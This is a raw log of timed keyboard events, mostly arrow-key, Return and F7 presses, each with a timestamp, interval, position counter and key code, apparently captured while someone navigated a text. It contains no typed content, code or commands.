-19:12:16.3061252:203,6285:325:Left:Left:37:False:False:False -19:12:16.4923320:186,2068:324:Left:Left:37:False:False:False -19:12:16.6758411:183,5091:323:Left:Left:37:False:False:False -19:12:16.9176815:241,8404:322:Left:Left:37:False:False:False -19:12:17.1725357:254,8542:321:Left:Left:37:False:False:False -19:12:17.4258179:253,2822:320:Left:Left:37:False:False:False -19:12:17.6294526:203,6347:319:Left:Left:37:False:False:False -19:12:17.8342585:204,8059:318:Left:Left:37:False:False:False -19:12:18.0393280:205,0695:317:Left:Left:37:False:False:False -19:12:18.2994609:260,1329:316:Left:Left:37:False:False:False -19:12:18.5267159:227,255:315:Left:Left:37:False:False:False -19:12:18.8180475:291,3316:314:Left:Left:37:False:False:False -19:12:19.1458887:326,8073:313:Left:Left:37:False:False:False -19:12:19.4655991:318,6798:312:Left:Left:37:False:False:False -19:12:19.6862975:219,6936:311:Left:Left:37:False:False:False -19:12:20.2019043:515,6068:310:Left:Left:37:False:False:False -19:12:20.5123366:309,4363:309:Right:Right:39:False:False:False -19:12:20.7270806:214,744:310:Right:Right:39:False:False:False -19:12:20.8778830:150,8024:311:Right:Right:39:False:False:False -19:12:21.0565108:178,6278:312:Right:Right:39:False:False:False -19:12:21.3027775:246,2667:313:Right:Right:39:False:False:False -19:12:21.9323351:629,5576:314:Right:Right:39:False:False:False -19:12:22.4143790:482,0439:315:Right:Right:39:False:False:False -19:12:25.5160330:3101,654:316:Left:Left:37:False:False:False -19:12:25.7272349:211,2019:315:Left:Left:37:False:False:False -19:12:25.9403373:212,1074:314:Left:Left:37:False:False:False -19:12:26.1129530:172,6157:313:Left:Left:37:False:False:False -19:12:26.3706748:257,7218:312:Right:Right:39:False:False:False -19:12:26.8698135:499,1387:313:Right:Right:39:False:False:False -19:12:27.0452715:174,4425:314:Right:Right:39:False:False:False -19:12:27.1172315:71,96:315:Right:Right:39:False:False:False -19:12:27.2197037:102,4722:316:Right:Right:39:False:False:False -19:12:27.7167530:497,0493:317:Right:Right:39:False:False:False -19:12:27.8609576:144,2046:318:Right:Right:39:False:False:False -19:12:28.0643526:203,395:319:Right:Right:39:False:False:False -19:12:28.2563622:192,0096:320:Right:Right:39:False:False:False -19:12:28.4557365:199,3743:321:Right:Right:39:False:False:False -19:12:28.6641334:208,3969:322:Right:Right:39:False:False:False -19:12:28.8501177:185,9843:323:Right:Right:39:False:False:False -19:12:29.0421013:191,9836:324:Right:Right:39:False:False:False -19:12:29.2556522:213,5509:325:Right:Right:39:False:False:False -19:12:29.4463506:190,6984:326:Right:Right:39:False:False:False -19:12:29.6507426:204,392:327:Right:Right:39:False:False:False -19:12:29.8217864:171,0438:328:Right:Right:39:False:False:False -19:12:30.0193958:197,6094:329:Right:Right:39:False:False:False -19:12:30.1857734:166,3776:330:Right:Right:39:False:False:False -19:12:30.3844237:198,6503:331:Right:Right:39:False:False:False -19:12:30.5817115:197,2878:332:Right:Right:39:False:False:False -19:12:30.7776225:195,911:333:Right:Right:39:False:False:False -19:12:30.9666460:189,0235:334:Right:Right:39:False:False:False -19:12:31.1483870:181,741:335:Right:Right:39:False:False:False -19:12:31.3424727:194,0857:336:Right:Right:39:False:False:False -19:12:31.5211697:178,697:337:Right:Right:39:False:False:False -19:12:31.8832228:362,0531:338:Right:Right:39:False:False:False -19:12:32.1159634:232,7406:339:Right:Right:39:False:False:False -19:12:32.3473694:231,406:340:Right:Right:39:False:False:False -19:12:32.5363873:189,0179:341:Right:Right:39:False:False:False -19:12:32.7415337:205,1464:342:Right:Right:39:False:False:False -19:12:32.9365309:194,9972:343:Right:Right:39:False:False:False -19:12:33.1926359:256,105:344:Right:Right:39:False:False:False -19:12:33.3876692:195,0333:345:Right:Right:39:False:False:False -19:12:33.5889946:201,3254:346:Right:Right:39:False:False:False -19:12:33.9413414:352,3468:347:Right:Right:39:False:False:False -19:12:34.0852646:142,8929:348:Right:Right:39:False:False:False -19:12:34.3389249:253,6603:349:Right:Right:39:False:False:False -19:12:34.5611126:222,1877:350:Right:Right:39:False:False:False -19:12:34.7458013:184,6887:351:Right:Right:39:False:False:False -19:12:35.1130949:367,2936:352:Right:Right:39:False:False:False -19:12:35.3143084:201,2135:353:Right:Right:39:False:False:False -19:12:35.4773878:163,0794:354:Right:Right:39:False:False:False -19:12:35.6619183:184,5305:355:Right:Right:39:False:False:False -19:12:35.9892710:327,3527:356:Right:Right:39:False:False:False -19:12:36.1826995:193,4285:357:Right:Right:39:False:False:False -19:12:36.3789458:196,2463:358:Right:Right:39:False:False:False -19:12:42.4268674:6047,9216:359:Return:Return:13:False:False:False -19:17:41.6627352:299235,8678:8762:Return:Return:13:False:False:False -19:17:42.6372340:974,4988:8762:Right:Right:39:False:False:False -19:17:42.8357385:198,5045:8763:Right:Right:39:False:False:False -19:17:42.9668559:131,1174:8764:Right:Right:39:False:False:False -19:17:43.4045513:437,6954:8765:Return:Return:13:False:False:False -19:20:26.4064135:163001,8622:13702:F7:F7:118:False:False:False -19:20:27.2355963:829,1828:13727:F7:F7:118:False:False:False -19:20:27.7303578:494,7615:13745:F7:F7:118:False:False:False -18:39:58.8299250:1317734,8682:22523:Return:Return:13:False:False:False -18:39:59.8407951:1010,4222:22523:Return:Return:13:False:False:False -18:42:27.0997035:147258,9084:26977:Return:Return:13:False:False:False -18:42:27.9671243:867,4208:26977:Up:Up:38:False:False:False -18:42:28.4655060:498,3817:26982:Up:Up:38:False:False:False -18:42:28.5780801:112,5741:26987:Up:Up:38:False:False:False -18:42:28.6744029:95,703:26992:Up:Up:38:False:False:False -18:42:28.7821150:107,7121:26997:Up:Up:38:False:False:False -18:42:28.8220530:39,938:27002:Up:Up:38:False:False:False -18:42:28.8778964:55,8434:27007:Up:Up:38:False:False:False -18:42:28.9467127:68,8163:27012:Up:Up:38:False:False:False -18:42:29.0334795:85,7687:27017:Up:Up:38:False:False:False -18:42:29.1331752:99,6957:27022:Up:Up:38:False:False:False -18:42:29.2429176:109,7424:27027:Up:Up:38:False:False:False -18:42:29.2838101:40,8925:27032:Up:Up:38:False:False:False -18:42:29.3376276:53,8175:27037:Up:Up:38:False:False:False -18:42:29.4074772:69,8496:27042:Up:Up:38:False:False:False -18:42:29.4940068:86,5296:27047:Up:Up:38:False:False:False -18:42:29.5918999:97,8931:27051:Up:Up:38:False:False:False -18:42:29.6886954:96,7955:27052:Up:Up:38:False:False:False -18:42:29.8013401:112,6447:27057:Up:Up:38:False:False:False -18:42:29.9190244:117,6843:27058:Up:Up:38:False:False:False -18:42:30.0437268:124,7024:27060:Up:Up:38:False:False:False -18:42:30.0836217:39,8949:27063:Up:Up:38:False:False:False -18:42:30.1384832:54,8615:27067:Up:Up:38:False:False:False -18:42:30.1410268:2,5436:27072:Up:Up:38:False:False:False -18:42:30.2043100:63,2832:27071:Up:Up:38:False:False:False -18:42:30.2731103:68,8003:27072:Up:Up:38:False:False:False -18:42:30.3452177:71,1142:27074:Up:Up:38:False:False:False -18:42:30.4286627:83,445:27077:Up:Up:38:False:False:False -18:42:30.5255970:96,9343:27080:Up:Up:38:False:False:False -18:42:30.6293202:103,7232:27082:Up:Up:38:False:False:False -18:42:30.7450563:115,7361:27086:Up:Up:38:False:False:False -18:42:30.8729197:127,8634:27089:Up:Up:38:False:False:False -18:42:31.0054162:132,4965:27090:Up:Up:38:False:False:False -18:42:31.0532877:47,8715:27093:Up:Up:38:False:False:False -18:42:31.1161659:62,8782:27097:Up:Up:38:False:False:False -18:42:31.1859500:68,7866:27099:Up:Up:38:False:False:False -18:42:31.2647698:78,8198:27102:Up:Up:38:False:False:False -18:42:31.3534846:88,7148:27104:Up:Up:38:False:False:False -18:42:31.3570493:3,5647:27109:Up:Up:38:False:False:False -18:42:31.4622403:105,191:27107:Up:Up:38:False:False:False -18:42:31.9619771:499,7368:27109:Return:Return:13:False:False:False -18:43:03.6086292:31646,6521:28073:Return:Return:13:False:False:False -18:43:35.3679999:31759,3707:28073:Up:Up:38:False:False:False -18:43:35.7219664:352,9693:28078:Up:Up:38:False:False:False -18:43:36.1574554:434,5115:28083:Up:Up:38:False:False:False -18:43:36.6551330:497,6776:28088:Up:Up:38:False:False:False -18:43:36.7663108:111,1778:28093:Up:Up:38:False:False:False -18:43:36.8531158:86,805:28098:Up:Up:38:False:False:False -18:43:36.9485337:95,4179:28103:Up:Up:38:False:False:False -18:43:36.9506495:2,1158:28108:Up:Up:38:False:False:False -18:43:36.9916944:41,0449:28113:Up:Up:38:False:False:False -18:43:37.0492275:57,5331:28118:Up:Up:38:False:False:False -18:43:37.1234619:74,2344:28123:Up:Up:38:False:False:False -18:43:37.2168157:93,3538:28128:Up:Up:38:False:False:False -18:43:37.3265565:109,7408:28133:Up:Up:38:False:False:False -18:43:37.4471884:120,6319:28138:Up:Up:38:False:False:False -18:43:37.4890741:41,8857:28143:Up:Up:38:False:False:False -18:43:37.5459222:56,8481:28148:Up:Up:38:False:False:False -18:43:37.6163628:70,4406:28153:Up:Up:38:False:False:False -18:43:37.7027233:86,3605:28158:Up:Up:38:False:False:False -18:43:37.8235114:120,7881:28163:Up:Up:38:False:False:False -18:43:37.9482612:124,7498:28168:Up:Up:38:False:False:False -18:43:37.9968865:47,7203:28173:Up:Up:38:False:False:False -18:43:38.0523061:55,4196:28178:Up:Up:38:False:False:False -18:43:38.1217247:69,4186:28183:Up:Up:38:False:False:False -18:43:38.2102956:88,5709:28188:Up:Up:38:False:False:False -18:43:38.3046354:94,3398:28193:Up:Up:38:False:False:False -18:43:38.4153264:110,691:28198:Up:Up:38:False:False:False -18:43:38.4579701:42,6437:28203:Up:Up:38:False:False:False -18:43:38.5098312:51,8611:28208:Up:Up:38:False:False:False -18:43:38.5845950:74,7638:28213:Up:Up:38:False:False:False -18:43:38.8060378:221,4428:28218:Return:Return:13:False:False:False -18:43:49.0748175:10268,7797:29438:Return:Return:13:False:False:False -18:44:05.5810339:16506,2164:29438:Return:Return:13:False:False:False -19:08:24.9773362:371457,4348:4294:ShiftKey:ShiftKey, Shift:16:True:False:False -19:08:28.7465950:3768,2611:4325:Return:Return:13:False:False:False -19:08:51.1174458:22370,8508:4325:Up:Up:38:False:False:False -19:08:51.4200645:301,5696:4330:Up:Up:38:False:False:False -19:08:51.5625665:142,502:4335:Up:Up:38:False:False:False -19:08:52.0614475:498,881:4340:Up:Up:38:False:False:False -19:08:52.2276444:166,1969:4345:Up:Up:38:False:False:False -19:08:52.3643188:136,6744:4350:Up:Up:38:False:False:False -19:08:52.4062079:41,8891:4355:Up:Up:38:False:False:False -19:08:52.4652246:59,0167:4360:Up:Up:38:False:False:False -19:08:52.5428031:77,5785:4365:Up:Up:38:False:False:False -19:08:52.6357243:92,9212:4370:Up:Up:38:False:False:False -19:08:52.7504113:113,6945:4375:Up:Up:38:False:False:False -19:08:52.9069925:156,5812:4380:Up:Up:38:False:False:False -19:08:53.4012247:494,2322:4385:Up:Up:38:False:False:False -19:08:53.5115784:109,3592:4390:Up:Up:38:False:False:False -19:08:53.6044892:92,9108:4395:Up:Up:38:False:False:False -19:08:53.7141955:109,7063:4400:Up:Up:38:False:False:False -19:08:53.8378649:123,6694:4405:Up:Up:38:False:False:False -19:08:53.9821496:144,2847:4410:Up:Up:38:False:False:False -19:08:54.0210455:38,8959:4415:Up:Up:38:False:False:False -19:08:54.0823351:60,2921:4420:Up:Up:38:False:False:False -19:08:54.1559947:73,6596:4425:Up:Up:38:False:False:False -19:08:54.1567102:0,7155:4430:Up:Up:38:False:False:False -19:08:54.2684294:110,7482:4435:Up:Up:38:False:False:False -19:08:54.3980454:129,616:4440:Up:Up:38:False:False:False -19:08:54.4464817:48,4363:4445:Up:Up:38:False:False:False -19:08:54.5077519:61,2702:4450:Up:Up:38:False:False:False -19:08:54.6024984:94,7465:4455:Up:Up:38:False:False:False -19:08:54.7022305:99,7321:4460:Up:Up:38:False:False:False -19:08:54.8176820:115,4515:4465:Up:Up:38:False:False:False -19:08:54.9533356:135,6536:4470:Up:Up:38:False:False:False -19:08:54.9932488:39,9132:4475:Up:Up:38:False:False:False -19:08:55.0500972:56,8484:4480:Up:Up:38:False:False:False -19:08:55.1258939:75,7967:4485:Up:Up:38:False:False:False -19:08:55.2138287:87,9348:4490:Up:Up:38:False:False:False -19:08:55.3233306:108,7106:4495:Up:Up:38:False:False:False -19:08:55.4596613:136,3307:4500:Up:Up:38:False:False:False -19:08:55.9581561:498,4948:4505:Up:Up:38:False:False:False -19:08:56.0526891:94,533:4510:Up:Up:38:False:False:False -19:08:56.1281459:75,4568:4515:Up:Up:38:False:False:False -19:08:56.2314152:102,2654:4520:Up:Up:38:False:False:False -19:08:56.3558138:124,3986:4525:Up:Up:38:False:False:False -19:08:56.5135152:157,7014:4530:Up:Up:38:False:False:False -19:08:56.5566081:43,0929:4535:Up:Up:38:False:False:False -19:08:56.6131369:56,5288:4540:Up:Up:38:False:False:False -19:08:56.6141466:1,0097:4545:Up:Up:38:False:False:False -19:08:56.7098750:95,7284:4550:Up:Up:38:False:False:False -19:08:56.9983373:288,4623:4555:Right:Right:39:False:False:False -19:08:57.3414839:343,1466:4556:Right:Right:39:False:False:False -19:08:57.8374607:495,9768:4557:Right:Right:39:False:False:False -19:08:58.0115995:174,1388:4558:Right:Right:39:False:False:False -19:08:58.1424203:130,8208:4559:Right:Right:39:False:False:False -19:08:58.2744252:132,0049:4560:Right:Right:39:False:False:False -19:08:58.2998274:25,4022:4561:Right:Right:39:False:False:False -19:08:58.3307449:30,9175:4562:Right:Right:39:False:False:False -19:08:58.3636570:32,9121:4563:Right:Right:39:False:False:False -19:08:58.4005585:36,9015:4564:Right:Right:39:False:False:False -19:08:58.4414871:40,9286:4565:Right:Right:39:False:False:False -19:08:58.4863646:44,8775:4566:Right:Right:39:False:False:False -19:08:58.5342307:47,8661:4567:Right:Right:39:False:False:False -19:08:58.5851030:50,8723:4568:Right:Right:39:False:False:False -19:08:58.6419523:56,8493:4569:Right:Right:39:False:False:False -19:08:58.7027852:60,8329:4570:Right:Right:39:False:False:False -19:08:58.7666037:63,8185:4571:Right:Right:39:False:False:False -19:08:58.8344340:67,8303:4572:Right:Right:39:False:False:False -19:08:58.9072413:72,8073:4573:Right:Right:39:False:False:False -19:08:58.9840293:76,788:4574:Right:Right:39:False:False:False -19:08:59.0737576:89,7283:4575:Right:Right:39:False:False:False -19:08:59.1575340:83,7764:4576:Right:Right:39:False:False:False -19:08:59.2513189:93,7849:4577:Right:Right:39:False:False:False -19:08:59.3450680:93,7491:4578:Right:Right:39:False:False:False -19:08:59.4434158:98,3478:4579:Right:Right:39:False:False:False -19:08:59.4474024:3,9866:4580:Right:Right:39:False:False:False -19:08:59.5511025:103,7001:4581:Right:Right:39:False:False:False -19:08:59.6591363:108,0338:4582:Right:Right:39:False:False:False -19:08:59.7738809:114,7446:4583:Right:Right:39:False:False:False -19:08:59.8885309:114,65:4584:Right:Right:39:False:False:False -19:09:00.0042143:115,6834:4585:Right:Right:39:False:False:False -19:09:00.0061755:1,9612:4586:Right:Right:39:False:False:False -19:09:00.1276023:121,4268:4587:Right:Right:39:False:False:False -19:09:00.2565053:128,903:4588:Right:Right:39:False:False:False -19:09:00.3942774:137,7721:4589:Right:Right:39:False:False:False -19:09:00.5267828:132,5054:4590:Right:Right:39:False:False:False -19:09:00.5513391:24,5563:4591:Right:Right:39:False:False:False -19:09:00.5776440:26,3049:4592:Right:Right:39:False:False:False -19:09:00.6075650:29,921:4593:Right:Right:39:False:False:False -19:09:00.6434322:35,8672:4594:Right:Right:39:False:False:False -19:09:00.6883493:44,9171:4595:Right:Right:39:False:False:False -19:09:00.7342296:45,8803:4596:Right:Right:39:False:False:False -19:09:00.7778960:43,6664:4597:Right:Right:39:False:False:False -19:09:00.8245169:46,6209:4598:Right:Right:39:False:False:False -19:09:00.8750635:50,5466:4599:Right:Right:39:False:False:False -19:09:00.9288315:53,768:4600:Right:Right:39:False:False:False -19:09:01.0819034:153,0719:4601:Right:Right:39:False:False:False -19:09:01.5813941:499,4907:4602:Right:Right:39:False:False:False -19:09:01.7017165:120,3224:4603:Right:Right:39:False:False:False -19:09:01.7685505:66,834:4604:Right:Right:39:False:False:False -19:09:01.8409262:72,3757:4605:Right:Right:39:False:False:False -19:09:01.8423079:1,3817:4606:Right:Right:39:False:False:False -19:09:01.9221367:79,8288:4607:Right:Right:39:False:False:False -19:09:02.0049059:82,7692:4608:Right:Right:39:False:False:False -19:09:02.0059035:0,9976:4609:Right:Right:39:False:False:False -19:09:02.0926705:86,767:4610:Right:Right:39:False:False:False -19:09:02.1833926:90,7221:4611:Right:Right:39:False:False:False -19:09:02.2791372:95,7446:4612:Right:Right:39:False:False:False -19:09:02.3788704:99,7332:4613:Right:Right:39:False:False:False -19:09:02.4855852:106,1381:4614:Right:Right:39:False:False:False -19:09:02.5983189:112,7337:4615:Right:Right:39:False:False:False -19:09:02.7131443:114,8254:4616:Up:Up:38:False:False:False -19:09:02.8880414:173,8996:4621:Up:Up:38:False:False:False -19:09:03.1097330:221,6916:4626:Up:Up:38:False:False:False -19:09:03.2833779:172,5984:4631:Up:Up:38:False:False:False -19:09:03.4404454:157,0675:4636:Up:Up:38:False:False:False -19:09:03.9383843:497,9389:4641:Up:Up:38:False:False:False -19:09:04.0855694:146,2776:4646:Up:Up:38:False:False:False -19:09:04.1104306:24,8612:4651:Up:Up:38:False:False:False -19:09:04.1533160:42,8854:4656:Up:Up:38:False:False:False -19:09:04.2111624:57,8464:4661:Up:Up:38:False:False:False -19:09:04.2939764:82,814:4666:Up:Up:38:False:False:False -19:09:04.3926787:98,7023:4671:Up:Up:38:False:False:False -19:09:04.5046018:111,9231:4676:Up:Up:38:False:False:False -19:09:04.5354060:30,8042:4681:Up:Up:38:False:False:False -19:09:04.5792990:42,8771:4686:Up:Up:38:False:False:False -19:09:04.6371057:57,8067:4691:Up:Up:38:False:False:False -19:09:04.7139358:76,8301:4696:Up:Up:38:False:False:False -19:09:04.8076852:93,7494:4701:Up:Up:38:False:False:False -19:09:04.9053880:97,7028:4702:Up:Up:38:False:False:False -19:09:04.9232573:17,8693:4702:Up:Up:38:False:False:False -19:09:04.9562429:32,9856:4702:Up:Up:38:False:False:False -19:09:05.0659765:109,7336:4703:Up:Up:38:False:False:False -19:09:05.1696922:103,7157:4704:Up:Up:38:False:False:False -19:09:05.1868367:17,1445:4704:Up:Up:38:False:False:False -19:09:05.3211972:134,3605:4705:Up:Up:38:False:False:False -19:09:05.4362088:115,0116:4707:Up:Up:38:False:False:False -19:09:05.5517861:115,5773:4708:Up:Up:38:False:False:False -19:09:05.6784387:125,7013:4710:Up:Up:38:False:False:False -19:09:05.6795908:1,1521:4715:Up:Up:38:False:False:False -19:09:05.7125836:32,9928:4710:Up:Up:38:False:False:False -19:09:05.7453339:32,7503:4710:Up:Up:38:False:False:False -19:09:05.7818665:36,5326:4710:Up:Up:38:False:False:False -19:09:05.8112942:29,4277:4710:Up:Up:38:False:False:False -19:09:05.8635546:52,2604:4711:Up:Up:38:False:False:False -19:09:05.8777365:14,1819:4711:Up:Up:38:False:False:False -19:09:06.6344481:756,7116:4712:Return:Return:13:False:False:False -19:16:20.7782989:434143,4935:9058:Return:Return:13:False:False:False -19:16:48.2545590:27476,2601:9058:Return:Return:13:False:False:False -19:16:53.7717546:5516,1451:9388:Return:Return:13:False:False:False -19:16:54.6055288:833,7742:9388:Right:Right:39:False:False:False -19:16:54.8558657:249,3294:9389:Right:Right:39:False:False:False -19:16:55.3542087:498,1498:9390:Right:Right:39:False:False:False -19:16:55.4221246:66,9202:9391:Right:Right:39:False:False:False -19:16:55.4514688:29,3442:9392:Right:Right:39:False:False:False -19:16:55.4849567:33,4879:9393:Right:Right:39:False:False:False -19:16:55.5178690:32,9123:9394:Right:Right:39:False:False:False -19:16:55.5499514:32,0824:9395:Right:Right:39:False:False:False -19:16:55.5837307:33,7793:9396:Right:Right:39:False:False:False -19:16:55.6245170:39,7911:9397:Right:Right:39:False:False:False -19:16:55.6646625:40,1455:9398:Right:Right:39:False:False:False -19:16:55.7042044:39,5419:9399:Right:Right:39:False:False:False -19:16:55.7521770:47,9726:9400:Right:Right:39:False:False:False -19:16:55.7990367:46,8597:9401:Right:Right:39:False:False:False -19:16:55.8469211:47,8844:9402:Right:Right:39:False:False:False -19:16:55.8996812:52,7601:9403:Right:Right:39:False:False:False -19:16:55.9525774:52,8962:9404:Right:Right:39:False:False:False -19:16:56.0074295:54,8521:9405:Right:Right:39:False:False:False -19:16:56.0632790:55,8495:9406:Right:Right:39:False:False:False -19:16:56.1231220:59,843:9407:Right:Right:39:False:False:False -19:16:56.1839564:60,8344:9408:Right:Right:39:False:False:False -19:16:56.2473955:63,4391:9409:Right:Right:39:False:False:False -19:16:56.3171983:69,8028:9410:Right:Right:39:False:False:False -19:16:56.3949907:77,7924:9411:Right:Right:39:False:False:False -19:16:56.4749490:78,9608:9412:Right:Right:39:False:False:False -19:16:56.5465851:71,6361:9413:Right:Right:39:False:False:False -19:16:56.6233801:75,7973:9414:Right:Right:39:False:False:False -19:16:56.7011721:77,792:9415:Right:Right:39:False:False:False -19:16:56.7844592:83,2871:9416:Right:Right:39:False:False:False -19:16:56.8670070:82,5478:9417:Right:Right:39:False:False:False -19:16:56.9524923:85,4853:9418:Right:Right:39:False:False:False -19:16:57.0645360:112,0437:9419:Right:Right:39:False:False:False -19:16:58.3899700:1325,434:9420:Up:Up:38:False:False:False -19:16:58.8866609:496,6909:9425:Up:Up:38:False:False:False -19:16:58.9900507:103,3898:9430:Up:Up:38:False:False:False -19:16:59.0518386:60,7935:9435:Up:Up:38:False:False:False -19:16:59.1196916:67,853:9440:Up:Up:38:False:False:False -19:16:59.2933042:173,6126:9442:Up:Up:38:False:False:False -19:16:59.5528240:259,5198:9444:Up:Up:38:False:False:False -19:16:59.6980609:145,2369:9446:Up:Up:38:False:False:False -19:16:59.8249211:126,8602:9448:Up:Up:38:False:False:False -19:17:00.0338723:208,9512:9449:Up:Up:38:False:False:False -19:17:00.2613499:227,4776:9451:Up:Up:38:False:False:False -19:17:01.0702489:808,899:9453:Right:Right:39:False:False:False -19:17:01.3292348:258,9859:9454:Right:Right:39:False:False:False -19:17:01.5125265:183,2917:9455:Right:Right:39:False:False:False -19:17:01.6712866:158,7601:9456:Right:Right:39:False:False:False -19:17:01.8685216:197,235:9457:Right:Right:39:False:False:False -19:17:02.2161868:347,2566:9458:Right:Right:39:False:False:False -19:17:02.4830107:266,5638:9459:Right:Right:39:False:False:False -19:17:07.6021580:5119,1473:9460:Return:Return:13:False:False:False -19:17:45.7483950:38146,237:9907:Return:Return:13:False:False:False -19:17:47.8263637:2077,6216:9907:ShiftKey:ShiftKey, Shift:16:True:False:False -19:17:49.2996640:1473,3003:9907:Up:Up:38:False:False:False -19:17:49.4983736:198,7096:9912:Up:Up:38:False:False:False -19:17:50.4894574:991,0838:9917:Right:Right:39:False:False:False -19:17:51.0962499:605,7972:9918:Right:Right:39:False:False:False -19:17:51.7583465:662,0966:9919:Right:Right:39:False:False:False -19:17:52.2750249:515,5199:9920:Right:Right:39:False:False:False -19:17:52.7735824:498,5575:9921:Right:Right:39:False:False:False -19:17:53.2472223:473,6399:9922:Right:Right:39:False:False:False -19:17:53.5953846:347,5658:9923:Right:Right:39:False:False:False -19:17:53.8128680:217,4834:9924:Right:Right:39:False:False:False -19:17:54.0087131:195,8451:9925:Right:Right:39:False:False:False -19:17:54.1648090:156,0959:9926:Right:Right:39:False:False:False -19:17:54.3230596:158,2506:9927:Right:Right:39:False:False:False -19:17:54.4973443:174,2847:9928:Right:Right:39:False:False:False -19:17:54.6641436:166,7993:9929:Right:Right:39:False:False:False -19:17:54.8363666:172,223:9930:Right:Right:39:False:False:False -19:17:55.1596448:323,2782:9931:Right:Right:39:False:False:False -19:17:55.7216295:561,9847:9932:Return:Return:13:False:False:False -19:19:36.5725149:100849,8359:11014:Return:Return:13:False:False:False -19:19:37.8322565:1259,7416:11014:Right:Right:39:False:False:False -19:19:38.7286311:896,3746:11015:Right:Right:39:False:False:False -19:19:39.2746701:546,039:11016:Right:Right:39:False:False:False -19:19:40.1704155:894,7642:11017:Right:Right:39:False:False:False -19:19:40.6996348:529,2193:11018:Right:Right:39:False:False:False -19:19:42.0173482:1317,7134:11019:Left:Left:37:False:False:False -19:19:43.2451762:1226,8043:11018:Left:Left:37:False:False:False -19:19:44.0457977:800,6215:11017:Left:Left:37:False:False:False -19:19:45.2778179:1232,0202:11016:Right:Right:39:False:False:False -19:19:45.8953493:617,5314:11017:Right:Right:39:False:False:False -19:19:46.5644637:668,1159:11018:Right:Right:39:False:False:False -19:19:47.0233331:457,8722:11019:Right:Right:39:False:False:False -19:19:47.4536895:430,3564:11020:Right:Right:39:False:False:False -19:19:47.9087191:454,5989:11021:Right:Right:39:False:False:False -19:19:48.2202516:310,5351:11022:Right:Right:39:False:False:False -19:19:48.5329213:312,6697:11023:Right:Right:39:False:False:False -19:19:48.8276779:294,4782:11024:Right:Right:39:False:False:False -19:19:49.1354692:307,7913:11025:Right:Right:39:False:False:False -19:19:49.3074955:172,0263:11026:Right:Right:39:False:False:False -19:19:49.5525497:245,0542:11027:Right:Right:39:False:False:False -19:19:49.7797674:227,2177:11028:Right:Right:39:False:False:False -19:19:49.9875383:206,7912:11029:Right:Right:39:False:False:False -19:19:50.2658803:278,342:11030:Right:Right:39:False:False:False -19:19:50.5081571:242,7878:11031:Right:Right:39:False:False:False -19:19:50.7083658:199,6977:11032:Right:Right:39:False:False:False -19:19:50.9304906:222,1248:11033:Right:Right:39:False:False:False -19:19:51.2924719:361,5169:11034:Right:Right:39:False:False:False -19:19:51.5513261:258,8542:11035:Right:Right:39:False:False:False -19:19:51.8476346:296,3085:11036:Right:Right:39:False:False:False -19:19:52.1016985:254,0639:11037:Right:Right:39:False:False:False -19:19:52.3139948:211,2857:11038:Right:Right:39:False:False:False -19:19:52.5644318:250,437:11039:Right:Right:39:False:False:False -19:19:54.4495468:1885,115:11040:Left:Left:37:False:False:False -19:19:54.9466369:497,0901:11039:Left:Left:37:False:False:False -19:19:55.0631400:116,5031:11038:Left:Left:37:False:False:False -19:19:55.1369429:72,8432:11037:Left:Left:37:False:False:False -19:19:55.2057578:68,8149:11036:Left:Left:37:False:False:False -19:19:55.2742069:68,4491:11035:Left:Left:37:False:False:False -19:19:55.3401627:65,9558:11034:Left:Left:37:False:False:False -19:19:55.4058449:65,6822:11033:Left:Left:37:False:False:False -19:19:55.4676794:61,8345:11032:Left:Left:37:False:False:False -19:19:55.5309660:63,2866:11031:Left:Left:37:False:False:False -19:19:55.5898764:58,9104:11030:Left:Left:37:False:False:False -19:19:55.6462018:56,3254:11029:Left:Left:37:False:False:False -19:19:55.7010563:54,8545:11028:Left:Left:37:False:False:False -19:19:55.7014632:0,4069:11027:Left:Left:37:False:False:False -19:19:55.7559083:54,4451:11026:Left:Left:37:False:False:False -19:19:55.8107621:54,8538:11025:Left:Left:37:False:False:False -19:19:55.8626237:51,8616:11024:Left:Left:37:False:False:False -19:19:55.9104949:47,8712:11023:Left:Left:37:False:False:False -19:19:55.9543776:43,8827:11022:Left:Left:37:False:False:False -19:19:55.9952689:40,8913:11021:Left:Left:37:False:False:False -19:19:56.0394726:44,2037:11020:Left:Left:37:False:False:False -19:19:56.0863518:46,8792:11019:Left:Left:37:False:False:False -19:19:56.1232534:36,9016:11018:Left:Left:37:False:False:False -19:19:56.1571619:33,9085:11017:Left:Left:37:False:False:False -19:19:56.1900719:32,91:11016:Left:Left:37:False:False:False -19:19:56.2219869:31,915:11015:Left:Left:37:False:False:False -19:19:56.2479061:25,9192:11014:Left:Left:37:False:False:False -19:19:56.2728507:23,9303:11013:Left:Left:37:False:False:False -19:19:56.3007408:27,8901:11012:Left:Left:37:False:False:False -19:19:56.3312638:30,523:11011:Left:Left:37:False:False:False -19:19:56.4147099:83,4461:11010:Left:Left:37:False:False:False -19:19:56.4932108:78,5009:11009:Left:Left:37:False:False:False -19:19:56.5691740:75,9632:11008:Left:Left:37:False:False:False -19:19:56.6400220:70,848:11007:Left:Left:37:False:False:False -19:19:56.7088366:68,8146:11006:Left:Left:37:False:False:False -19:19:56.7796107:70,7741:11005:Left:Left:37:False:False:False -19:19:56.9754051:195,7944:11004:Left:Left:37:False:False:False -19:19:57.4740926:498,1339:11003:Left:Left:37:False:False:False -19:19:57.5769090:102,8164:11002:Left:Left:37:False:False:False -19:19:57.6364016:59,4926:11001:Left:Left:37:False:False:False -19:19:57.6940301:57,6285:11000:Left:Left:37:False:False:False -19:19:57.7510047:56,9746:10999:Left:Left:37:False:False:False -19:19:57.8049879:53,9832:10998:Left:Left:37:False:False:False -19:19:57.8558516:50,8637:10997:Left:Left:37:False:False:False -19:19:57.9054385:49,5869:10996:Left:Left:37:False:False:False -19:19:57.9523037:46,8652:10995:Left:Left:37:False:False:False -19:19:57.9976925:45,3888:10994:Left:Left:37:False:False:False -19:19:58.0435709:45,8784:10993:Left:Left:37:False:False:False -19:19:58.0877461:44,1752:10992:Left:Left:37:False:False:False -19:19:58.1263871:38,641:10991:Left:Left:37:False:False:False -19:19:58.1624666:36,0795:10990:Left:Left:37:False:False:False -19:19:58.2001991:37,7325:10989:Left:Left:37:False:False:False -19:19:58.2360935:35,8944:10988:Left:Left:37:False:False:False -19:19:58.2669731:30,8796:10987:Left:Left:37:False:False:False -19:19:58.2969281:29,955:10986:Left:Left:37:False:False:False -19:19:58.3272447:30,3166:10985:Left:Left:37:False:False:False -19:19:58.3588673:31,6226:10984:Left:Left:37:False:False:False -19:19:58.3946479:35,7806:10983:Left:Left:37:False:False:False -19:19:58.4247232:30,0753:10982:Left:Left:37:False:False:False 